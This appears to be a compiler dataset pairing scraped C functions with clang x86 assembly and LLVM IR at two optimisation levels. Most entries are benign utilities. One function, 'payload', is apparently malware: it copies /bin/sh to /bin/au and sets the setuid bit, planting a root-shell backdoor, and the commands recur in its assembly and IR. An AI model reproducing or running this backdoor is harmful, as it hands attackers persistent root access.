%11 = mul i64 %10, 67330564296145686
%12 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
store i64 %11, i64* %12
%13 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%14 = load i64, i64* %13
%15 = and i64 %14, 1
%16 = icmp ne i64 %15, 0
br i1 %16, label %17, label %33
17: ; preds = %2
%18 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%19 = bitcast i64* %18 to i8*
%20 = getelementptr inbounds i8, i8* %19, i64 1
%21 = load i8, i8* %20
store i8 %21, i8* %6
%22 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%23 = bitcast i64* %22 to i8*
%24 = getelementptr inbounds i8, i8* %23, i64 7
%25 = load i8, i8* %24
%26 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%27 = bitcast i64* %26 to i8*
%28 = getelementptr inbounds i8, i8* %27, i64 1
store i8 %25, i8* %28
%29 = load i8, i8* %6
%30 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%31 = bitcast i64* %30 to i8*
%32 = getelementptr inbounds i8, i8* %31, i64 7
store i8 %29, i8* %32
br label %33
33: ; preds = %17, %2
%34 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%35 = load i64, i64* %34
%36 = add i64 %35, 194522493
%37 = load i64*, i64** %4
%38 = getelementptr inbounds i64, i64* %37, i64 0
store i64 %36, i64* %38
ret void
}

LLVM IR (-O2):
define void @RandomFunc(i64* nocapture %0, i64* nocapture writeonly %1) {
%3 = load i64, i64* %0
%4 = mul i64 %3, 67330564296145686
%5 = add i64 %4, -2350340661647889767
store i64 %5, i64* %1
ret void
}
void rt_system_heap_init(void *begin_addr, void *end_addr) {}


x86 assembly (clang, -O0):
<rt_system_heap_init>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<rt_system_heap_init>:
ret

LLVM IR (-O0):
define void @rt_system_heap_init(i8* %0, i8* %1) {
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
store i8* %1, i8** %4
ret void
}

LLVM IR (-O2):
define void @rt_system_heap_init(i8* nocapture %0, i8* nocapture %1) {
ret void
}
double floor(double x) { return (double)((int)x); }


x86 assembly (clang, -O0):
<floor>:
push   %rbp
mov    %rsp,%rbp
movsd  %xmm0,-0x8(%rbp)
cvttsd2si -0x8(%rbp),%eax
cvtsi2sd %eax,%xmm0
pop    %rbp
ret

x86 assembly (clang, -O2):
<floor>:
cvttpd2dq %xmm0,%xmm0
cvtdq2pd %xmm0,%xmm0
ret

LLVM IR (-O0):
define double @floor(double %0) {
%2 = alloca double
store double %0, double* %2
%3 = load double, double* %2
%4 = fptosi double %3 to i32
%5 = sitofp i32 %4 to double
ret double %5
}

LLVM IR (-O2):
define double @floor(double %0) {
%2 = fptosi double %0 to i32
%3 = sitofp i32 %2 to double
ret double %3
}
/* Variables and functions */
int /*<<< orphan*/ f();
int /*<<< orphan*/ g();
int /*<<< orphan*/ h();
void main() {
  f();
  g();
  h();
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1040 <f@plt>
mov    $0x0,%al
call   1050 <g@plt>
mov    $0x0,%al
call   1030 <h@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1040 <f@plt>
xor    %eax,%eax
call   1050 <g@plt>
xor    %eax,%eax
pop    %rcx
jmp    1030 <h@plt>

LLVM IR (-O0):
define void @main() {
%1 = call i32 (...) @f()
%2 = call i32 (...) @g()
%3 = call i32 (...) @h()
ret void
}

LLVM IR (-O2):
define void @main() {
%1 = tail call i32 (...) @f()
%2 = tail call i32 (...) @g()
%3 = tail call i32 (...) @h()
ret void
}
/* Variables and functions */
int /*<<< orphan*/ h2o__fatal(char *);
void *realloc(void *, size_t);
void *h2o_mem_realloc(void *oldp, size_t sz) {
  void *newp = realloc(oldp, sz);
  if (newp == NULL) {
    h2o__fatal("/scratch/repos/new/home/jordi_armengol_estape/c-scraper/"
               "outputs/2022-01-22/02-19-57/repos/lkwg82/h2o/refs/heads/master/"
               "lib/common/h2o/memory.h"
               ":"
               "358"
               ":"
               "no memory");
    return oldp;
  }
  return newp;
}


x86 assembly (clang, -O0):
<h2o_mem_realloc>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x10(%rbp)
mov    %rsi,-0x18(%rbp)
mov    -0x10(%rbp),%rdi
mov    -0x18(%rbp),%rsi
call   1040 <realloc@plt>
mov    %rax,-0x20(%rbp)
cmpq   $0x0,-0x20(%rbp)
jne    1165 <h2o_mem_realloc+0x45>
lea    0xead(%rip),%rdi
call   1030 <h2o__fatal@plt>
mov    -0x10(%rbp),%rax
mov    %rax,-0x8(%rbp)
jmp    116d <h2o_mem_realloc+0x4d>
mov    -0x20(%rbp),%rax
mov    %rax,-0x8(%rbp)
mov    -0x8(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<h2o_mem_realloc>:
push   %rbx
mov    %rdi,%rbx
call   1040 <realloc@plt>
test   %rax,%rax
je     1130 <h2o_mem_realloc+0x10>
pop    %rbx
ret
lea    0xec9(%rip),%rdi
call   1030 <h2o__fatal@plt>
mov    %rbx,%rax
pop    %rbx
ret

LLVM IR (-O0):
@.str = [157 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/lkwg82/h2o/refs/heads/master/lib/common/h2o/memory.h:358:no memory\00"
define i8* @h2o_mem_realloc(i8* %0, i64 %1) {
%3 = alloca i8*
%4 = alloca i8*
%5 = alloca i64
%6 = alloca i8*
store i8* %0, i8** %4
store i64 %1, i64* %5
%7 = load i8*, i8** %4
%8 = load i64, i64* %5
%9 = call i8* @realloc(i8* %7, i64 %8)
store i8* %9, i8** %6
%10 = load i8*, i8** %6
%11 = icmp eq i8* %10, null
br i1 %11, label %12, label %15
12: ; preds = %2
%13 = call i32 @h2o__fatal(i8* getelementptr inbounds ([157 x i8], [157 x i8]* @.str, i64 0, i64 0))
%14 = load i8*, i8** %4
store i8* %14, i8** %3
br label %17
15: ; preds = %2
%16 = load i8*, i8** %6
store i8* %16, i8** %3
br label %17
17: ; preds = %15, %12
%18 = load i8*, i8** %3
ret i8* %18
}

LLVM IR (-O2):
@.str = [157 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/lkwg82/h2o/refs/heads/master/lib/common/h2o/memory.h:358:no memory\00"
define i8* @h2o_mem_realloc(i8* %0, i64 %1) {
%3 = tail call i8* @realloc(i8* %0, i64 %1)
%4 = icmp eq i8* %3, null
br i1 %4, label %5, label %7
5: ; preds = %2
%6 = tail call i32 @h2o__fatal(i8* getelementptr inbounds ([157 x i8], [157 x i8]* @.str, i64 0, i64 0))
br label %7
7: ; preds = %2, %5
%8 = phi i8* [ %0, %5 ], [ %3, %2 ]
ret i8* %8
}
int breaks_needed(int bar, int squares) {
  int count = 0;
  while (squares > 0 && squares != bar) {
    bar >>= 1;
    if (squares > bar) {
      squares -= bar;
    }
    count++;
  }
  return count;
}


x86 assembly (clang, -O0):
<breaks_needed>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
movl   $0x0,-0xc(%rbp)
xor    %eax,%eax
cmpl   $0x0,-0x8(%rbp)
mov    %al,-0xd(%rbp)
jle    112c <breaks_needed+0x2c>
mov    -0x8(%rbp),%eax
cmp    -0x4(%rbp),%eax
setne  %al
mov    %al,-0xd(%rbp)
mov    -0xd(%rbp),%al
test   $0x1,%al
jne    113c <breaks_needed+0x3c>
jmp    116a <breaks_needed+0x6a>
mov    -0x4(%rbp),%eax
sar    $0x1,%eax
mov    %eax,-0x4(%rbp)
mov    -0x8(%rbp),%eax
cmp    -0x4(%rbp),%eax
jle    115c <breaks_needed+0x5c>
mov    -0x4(%rbp),%ecx
mov    -0x8(%rbp),%eax
sub    %ecx,%eax
mov    %eax,-0x8(%rbp)
mov    -0xc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    1111 <breaks_needed+0x11>
mov    -0xc(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<breaks_needed>:
xor    %eax,%eax
test   %esi,%esi
jle    1125 <breaks_needed+0x25>
cmp    %edi,%esi
je     1125 <breaks_needed+0x25>
xor    %eax,%eax
nopl   0x0(%rax)
sar    %edi
mov    %edi,%ecx
cmp    %edi,%esi
jg     111a <breaks_needed+0x1a>
xor    %ecx,%ecx
add    $0x1,%eax
sub    %ecx,%esi
jle    1125 <breaks_needed+0x25>
cmp    %edi,%esi
jne    1110 <breaks_needed+0x10>
ret

LLVM IR (-O0):
define i32 @breaks_needed(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
store i32 0, i32* %5
br label %6
6: ; preds = %25, %2
%7 = load i32, i32* %4
%8 = icmp sgt i32 %7, 0
br i1 %8, label %9, label %13
9: ; preds = %6
%10 = load i32, i32* %4
%11 = load i32, i32* %3
%12 = icmp ne i32 %10, %11
br label %13
13: ; preds = %9, %6
%14 = phi i1 [ false, %6 ], [ %12, %9 ]
br i1 %14, label %15, label %28
15: ; preds = %13
%16 = load i32, i32* %3
%17 = ashr i32 %16, 1
store i32 %17, i32* %3
%18 = load i32, i32* %4
%19 = load i32, i32* %3
%20 = icmp sgt i32 %18, %19
br i1 %20, label %21, label %25
21: ; preds = %15
%22 = load i32, i32* %3
%23 = load i32, i32* %4
%24 = sub nsw i32 %23, %22
store i32 %24, i32* %4
br label %25
25: ; preds = %21, %15
%26 = load i32, i32* %5
%27 = add nsw i32 %26, 1
store i32 %27, i32* %5
br label %6
28: ; preds = %13
%29 = load i32, i32* %5
ret i32 %29
}

LLVM IR (-O2):
define i32 @breaks_needed(i32 %0, i32 %1) {
%3 = icmp sgt i32 %1, 0
%4 = icmp ne i32 %1, %0
%5 = and i1 %3, %4
br i1 %5, label %6, label %18
6: ; preds = %2, %6
%7 = phi i32 [ %14, %6 ], [ 0, %2 ]
%8 = phi i32 [ %13, %6 ], [ %1, %2 ]
%9 = phi i32 [ %10, %6 ], [ %0, %2 ]
%10 = ashr i32 %9, 1
%11 = icmp sgt i32 %8, %10
%12 = select i1 %11, i32 %10, i32 0
%13 = sub nsw i32 %8, %12
%14 = add nuw nsw i32 %7, 1
%15 = icmp sgt i32 %13, 0
%16 = icmp ne i32 %13, %10
%17 = select i1 %15, i1 %16, i1 false
br i1 %17, label %6, label %18
18: ; preds = %6, %2
%19 = phi i32 [ 0, %2 ], [ %14, %6 ]
ret i32 %19
}
void cutstr(char str[], int left, int right) {
  int i = left;
  while ((str[i] = str[i - left + right + 1]) != '\0')
    i++;
}


x86 assembly (clang, -O0):
<cutstr>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %edx,-0x10(%rbp)
mov    -0xc(%rbp),%eax
mov    %eax,-0x14(%rbp)
mov    -0x8(%rbp),%rax
mov    -0x14(%rbp),%ecx
sub    -0xc(%rbp),%ecx
add    -0x10(%rbp),%ecx
add    $0x1,%ecx
movslq %ecx,%rcx
mov    (%rax,%rcx,1),%al
mov    -0x8(%rbp),%rcx
movslq -0x14(%rbp),%rdx
mov    %al,(%rcx,%rdx,1)
movsbl %al,%eax
cmp    $0x0,%eax
je     114f <cutstr+0x4f>
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    1114 <cutstr+0x14>
pop    %rbp
ret

x86 assembly (clang, -O2):
<cutstr>:
movslq %esi,%rax
add    $0x1,%edx
add    %rdi,%rax
nopl   0x0(%rax)
movslq %edx,%rdx
movzbl (%rdi,%rdx,1),%ecx
mov    %cl,(%rax)
add    $0x1,%edx
add    $0x1,%rax
test   %cl,%cl
jne    1110 <cutstr+0x10>
ret

LLVM IR (-O0):
define void @cutstr(i8* %0, i32 %1, i32 %2) {
%4 = alloca i8*
%5 = alloca i32
%6 = alloca i32
%7 = alloca i32
store i8* %0, i8** %4
store i32 %1, i32* %5
store i32 %2, i32* %6
%8 = load i32, i32* %5
store i32 %8, i32* %7
br label %9
9: ; preds = %26, %3
%10 = load i8*, i8** %4
%11 = load i32, i32* %7
%12 = load i32, i32* %5
%13 = sub nsw i32 %11, %12
%14 = load i32, i32* %6
%15 = add nsw i32 %13, %14
%16 = add nsw i32 %15, 1
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds i8, i8* %10, i64 %17
%19 = load i8, i8* %18
%20 = load i8*, i8** %4
%21 = load i32, i32* %7
%22 = sext i32 %21 to i64
%23 = getelementptr inbounds i8, i8* %20, i64 %22
store i8 %19, i8* %23
%24 = sext i8 %19 to i32
%25 = icmp ne i32 %24, 0
br i1 %25, label %26, label %29
26: ; preds = %9
%27 = load i32, i32* %7
%28 = add nsw i32 %27, 1
store i32 %28, i32* %7
br label %9
29: ; preds = %9
ret void
}

LLVM IR (-O2):
define void @cutstr(i8* nocapture %0, i32 %1, i32 %2) {
%4 = sub i32 1, %1
%5 = add i32 %4, %2
%6 = sext i32 %1 to i64
br label %7
7: ; preds = %7, %3
%8 = phi i64 [ %16, %7 ], [ %6, %3 ]
%9 = trunc i64 %8 to i32
%10 = add i32 %5, %9
%11 = sext i32 %10 to i64
%12 = getelementptr inbounds i8, i8* %0, i64 %11
%13 = load i8, i8* %12
%14 = getelementptr inbounds i8, i8* %0, i64 %8
store i8 %13, i8* %14
%15 = icmp eq i8 %13, 0
%16 = add i64 %8, 1
br i1 %15, label %17, label %7
17: ; preds = %7
ret void
}
/* Variables and functions */
int /*<<< orphan*/ prodos_time();
int write(int, int /*<<< orphan*/, int);
int vdrvtime(int afd) { return write(afd, prodos_time(), 4); }


x86 assembly (clang, -O0):
<vdrvtime>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%eax
mov    %eax,-0x8(%rbp)
mov    $0x0,%al
call   1040 <prodos_time@plt>
mov    -0x8(%rbp),%edi
mov    %eax,%esi
mov    $0x4,%edx
call   1030 <write@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<vdrvtime>:
push   %rbx
mov    %edi,%ebx
xor    %eax,%eax
call   1040 <prodos_time@plt>
mov    %ebx,%edi
mov    %eax,%esi
mov    $0x4,%edx
pop    %rbx
jmp    1030 <write@plt>

LLVM IR (-O0):
define i32 @vdrvtime(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = call i32 (...) @prodos_time()
%5 = call i32 @write(i32 %3, i32 %4, i32 4)
ret i32 %5
}

LLVM IR (-O2):
define i32 @vdrvtime(i32 %0) {
%2 = tail call i32 (...) @prodos_time()
%3 = tail call i32 @write(i32 %0, i32 %2, i32 4)
ret i32 %3
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
void print_course_banner() {
  printf(
      "IDX|CID|Course|Professor|Credits|Enrolled|Max|Days|Start|End|Title\n");
}


x86 assembly (clang, -O0):
<print_course_banner>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <printf@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<print_course_banner>:
lea    0xee9(%rip),%rdi
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [68 x i8] c"IDX|CID|Course|Professor|Credits|Enrolled|Max|Days|Start|End|Title\0A\00"
define void @print_course_banner() {
%1 = call i32 @printf(i8* getelementptr inbounds ([68 x i8], [68 x i8]* @.str, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@str = [67 x i8] c"IDX|CID|Course|Professor|Credits|Enrolled|Max|Days|Start|End|Title\00"
define void @print_course_banner() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([67 x i8], [67 x i8]* @str, i64 0, i64 0))
ret void
}
/* Type definitions */
struct cmd_arg {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ showPortForwarding();
void cmdShowPortForwarding(int cmdType, struct cmd_arg *pCmdArg) {
  showPortForwarding();
}


x86 assembly (clang, -O0):
<cmdShowPortForwarding>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    $0x0,%al
call   1030 <showPortForwarding@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<cmdShowPortForwarding>:
xor    %eax,%eax
jmp    1030 <showPortForwarding@plt>

LLVM IR (-O0):
%struct.cmd_arg = type { i32 }
define void @cmdShowPortForwarding(i32 %0, %struct.cmd_arg* %1) {
%3 = alloca i32
%4 = alloca %struct.cmd_arg*
store i32 %0, i32* %3
store %struct.cmd_arg* %1, %struct.cmd_arg** %4
%5 = call i32 (...) @showPortForwarding()
ret void
}

LLVM IR (-O2):
%struct.cmd_arg = type { i32 }
define void @cmdShowPortForwarding(i32 %0, %struct.cmd_arg* nocapture readnone %1) {
%3 = tail call i32 (...) @showPortForwarding()
ret void
}
void alarm_handler(int sig) { return; }


x86 assembly (clang, -O0):
<alarm_handler>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<alarm_handler>:
ret

LLVM IR (-O0):
define void @alarm_handler(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
ret void
}

LLVM IR (-O2):
define void @alarm_handler(i32 %0) {
ret void
}
unsigned int mem_get_le16_as_int(const void *vmem) {
  unsigned int val;
  const unsigned char *mem = (const unsigned char *)vmem;
  val = mem[1] << 8;
  val |= mem[0];
  return val;
}


x86 assembly (clang, -O0):
<mem_get_le16_as_int>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rax
movzbl 0x1(%rax),%eax
shl    $0x8,%eax
mov    %eax,-0xc(%rbp)
mov    -0x18(%rbp),%rax
movzbl (%rax),%eax
or     -0xc(%rbp),%eax
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<mem_get_le16_as_int>:
movzwl (%rdi),%eax
ret

LLVM IR (-O0):
define i32 @mem_get_le16_as_int(i8* %0) {
%2 = alloca i8*
%3 = alloca i32
%4 = alloca i8*
store i8* %0, i8** %2
%5 = load i8*, i8** %2
store i8* %5, i8** %4
%6 = load i8*, i8** %4
%7 = getelementptr inbounds i8, i8* %6, i64 1
%8 = load i8, i8* %7
%9 = zext i8 %8 to i32
%10 = shl i32 %9, 8
store i32 %10, i32* %3
%11 = load i8*, i8** %4
%12 = getelementptr inbounds i8, i8* %11, i64 0
%13 = load i8, i8* %12
%14 = zext i8 %13 to i32
%15 = load i32, i32* %3
%16 = or i32 %15, %14
store i32 %16, i32* %3
%17 = load i32, i32* %3
ret i32 %17
}

LLVM IR (-O2):
define i32 @mem_get_le16_as_int(i8* nocapture %0) {
%2 = getelementptr inbounds i8, i8* %0, i64 1
%3 = load i8, i8* %2
%4 = zext i8 %3 to i32
%5 = shl nuw nsw i32 %4, 8
%6 = load i8, i8* %0
%7 = zext i8 %6 to i32
%8 = or i32 %5, %7
ret i32 %8
}
long pcount_goto(unsigned long x) {
  long result = 0;
loop:
  result += x & 0x1;
  x >>= 1;
  if (x)
    goto loop;
  return result;
}


x86 assembly (clang, -O0):
<pcount_goto>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
movq   $0x0,-0x10(%rbp)
mov    -0x8(%rbp),%rax
and    $0x1,%rax
add    -0x10(%rbp),%rax
mov    %rax,-0x10(%rbp)
mov    -0x8(%rbp),%rax
shr    $0x1,%rax
mov    %rax,-0x8(%rbp)
cmpq   $0x0,-0x8(%rbp)
je     113c <pcount_goto+0x3c>
jmp    1110 <pcount_goto+0x10>
mov    -0x10(%rbp),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<pcount_goto>:
xor    %eax,%eax
mov    %rdi,%rcx
cs nopw 0x0(%rax,%rax,1)
nop
mov    %edi,%edx
and    $0x1,%edx
add    %rdx,%rax
shr    %rcx
cmp    $0x1,%rdi
mov    %rcx,%rdi
ja     1110 <pcount_goto+0x10>
ret

LLVM IR (-O0):
define i64 @pcount_goto(i64 %0) {
%2 = alloca i64
%3 = alloca i64
store i64 %0, i64* %2
store i64 0, i64* %3
br label %4
4: ; preds = %13, %1
%5 = load i64, i64* %2
%6 = and i64 %5, 1
%7 = load i64, i64* %3
%8 = add i64 %7, %6
store i64 %8, i64* %3
%9 = load i64, i64* %2
%10 = lshr i64 %9, 1
store i64 %10, i64* %2
%11 = load i64, i64* %2
%12 = icmp ne i64 %11, 0
br i1 %12, label %13, label %14
13: ; preds = %4
br label %4
14: ; preds = %4
%15 = load i64, i64* %3
ret i64 %15
}

LLVM IR (-O2):
define i64 @pcount_goto(i64 %0) {
br label %2
2: ; preds = %2, %1
%3 = phi i64 [ %0, %1 ], [ %7, %2 ]
%4 = phi i64 [ 0, %1 ], [ %6, %2 ]
%5 = and i64 %3, 1
%6 = add i64 %4, %5
%7 = lshr i64 %3, 1
%8 = icmp ult i64 %3, 2
br i1 %8, label %9, label %2
9: ; preds = %2
ret i64 %6
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
int rand();
int /*<<< orphan*/ srand(int /*<<< orphan*/);
int /*<<< orphan*/ system(char *);
int /*<<< orphan*/ time(int /*<<< orphan*/ *);
void payload(void) {
  srand(time(NULL));
  if ((rand() % 5) == 0)
    printf("lx2k2!!  Spreading the love ;)\n");
  system("cp /bin/sh /bin/au");
  system("chmod +s /bin/au");
}


x86 assembly (clang, -O0):
<payload>:
push   %rbp
mov    %rsp,%rbp
xor    %eax,%eax
mov    %eax,%edi
call   1060 <time@plt>
mov    %eax,%edi
call   1050 <srand@plt>
mov    $0x0,%al
call   1070 <rand@plt>
mov    $0x5,%ecx
cltd
idiv   %ecx
cmp    $0x0,%edx
jne    1188 <payload+0x38>
lea    0xe7d(%rip),%rdi
call   1040 <printf@plt>
lea    0xe91(%rip),%rdi
call   1030 <system@plt>
lea    0xe98(%rip),%rdi
call   1030 <system@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<payload>:
push   %rax
xor    %edi,%edi
call   1060 <time@plt>
mov    %eax,%edi
call   1050 <srand@plt>
xor    %eax,%eax
call   1070 <rand@plt>
imul   $0xcccccccd,%eax,%eax
add    $0x19999999,%eax
cmp    $0x33333332,%eax
ja     1184 <payload+0x34>
lea    0xea5(%rip),%rdi
call   1030 <puts@plt>
lea    0xe75(%rip),%rdi
call   1040 <system@plt>
lea    0xe7c(%rip),%rdi
pop    %rax
jmp    1040 <system@plt>

LLVM IR (-O0):
@.str = [32 x i8] c"lx2k2!! Spreading the love ;)\0A\00"
@.str.1 = [19 x i8] c"cp /bin/sh /bin/au\00"
@.str.2 = [17 x i8] c"chmod +s /bin/au\00"
define void @payload() {
%1 = call i32 @time(i32* null)
%2 = call i32 @srand(i32 %1)
%3 = call i32 (...) @rand()
%4 = srem i32 %3, 5
%5 = icmp eq i32 %4, 0
br i1 %5, label %6, label %8
6: ; preds = %0
%7 = call i32 @printf(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str, i64 0, i64 0))
br label %8
8: ; preds = %6, %0
%9 = call i32 @system(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.1, i64 0, i64 0))
%10 = call i32 @system(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.2, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@.str.1 = [19 x i8] c"cp /bin/sh /bin/au\00"
@.str.2 = [17 x i8] c"chmod +s /bin/au\00"
@str = [31 x i8] c"lx2k2!! Spreading the love ;)\00"
define void @payload() {
%1 = tail call i32 @time(i32* null)
%2 = tail call i32 @srand(i32 %1)
%3 = tail call i32 (...) @rand()
%4 = srem i32 %3, 5
%5 = icmp eq i32 %4, 0
br i1 %5, label %6, label %8
6: ; preds = %0
%7 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @str, i64 0, i64 0))
br label %8
8: ; preds = %6, %0
%9 = tail call i32 @system(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.1, i64 0, i64 0))
%10 = tail call i32 @system(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.2, i64 0, i64 0))
ret void
}
/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char const *, char *);
int pidfile_exist(const char *path) {
  FILE *fp = fopen(path, "r");
  if (!fp)
    return 0;
  fclose(fp);
  return 1;
}


x86 assembly (clang, -O0):
<pidfile_exist>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
lea    0xec9(%rip),%rsi
call   1040 <fopen@plt>
mov    %rax,-0x18(%rbp)
cmpq   $0x0,-0x18(%rbp)
jne    1157 <pidfile_exist+0x37>
movl   $0x0,-0x4(%rbp)
jmp    1167 <pidfile_exist+0x47>
mov    -0x18(%rbp),%rdi
call   1030 <fclose@plt>
movl   $0x1,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<pidfile_exist>:
push   %rax
lea    0xed8(%rip),%rsi
call   1040 <fopen@plt>
test   %rax,%rax
je     1141 <pidfile_exist+0x21>
mov    %rax,%rdi
call   1030 <fclose@plt>
mov    $0x1,%eax
pop    %rcx
ret
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [2 x i8] c"r\00"
define i32 @pidfile_exist(i8* %0) {
%2 = alloca i32
%3 = alloca i8*
%4 = alloca i32*
store i8* %0, i8** %3
%5 = load i8*, i8** %3
%6 = call i32* @fopen(i8* %5, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
store i32* %6, i32** %4
%7 = load i32*, i32** %4
%8 = icmp ne i32* %7, null
br i1 %8, label %10, label %9
9: ; preds = %1
store i32 0, i32* %2
br label %13
10: ; preds = %1
%11 = load i32*, i32** %4
%12 = call i32 @fclose(i32* %11)
store i32 1, i32* %2
br label %13
13: ; preds = %10, %9
%14 = load i32, i32* %2
ret i32 %14
}

LLVM IR (-O2):
@.str = [2 x i8] c"r\00"
define i32 @pidfile_exist(i8* nocapture %0) {
%2 = tail call i32* @fopen(i8* %0, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%3 = icmp eq i32* %2, null
br i1 %3, label %6, label %4
4: ; preds = %1
%5 = tail call i32 @fclose(i32* %2)
br label %6
6: ; preds = %1, %4
%7 = phi i32 [ 1, %4 ], [ 0, %1 ]
ret i32 %7
}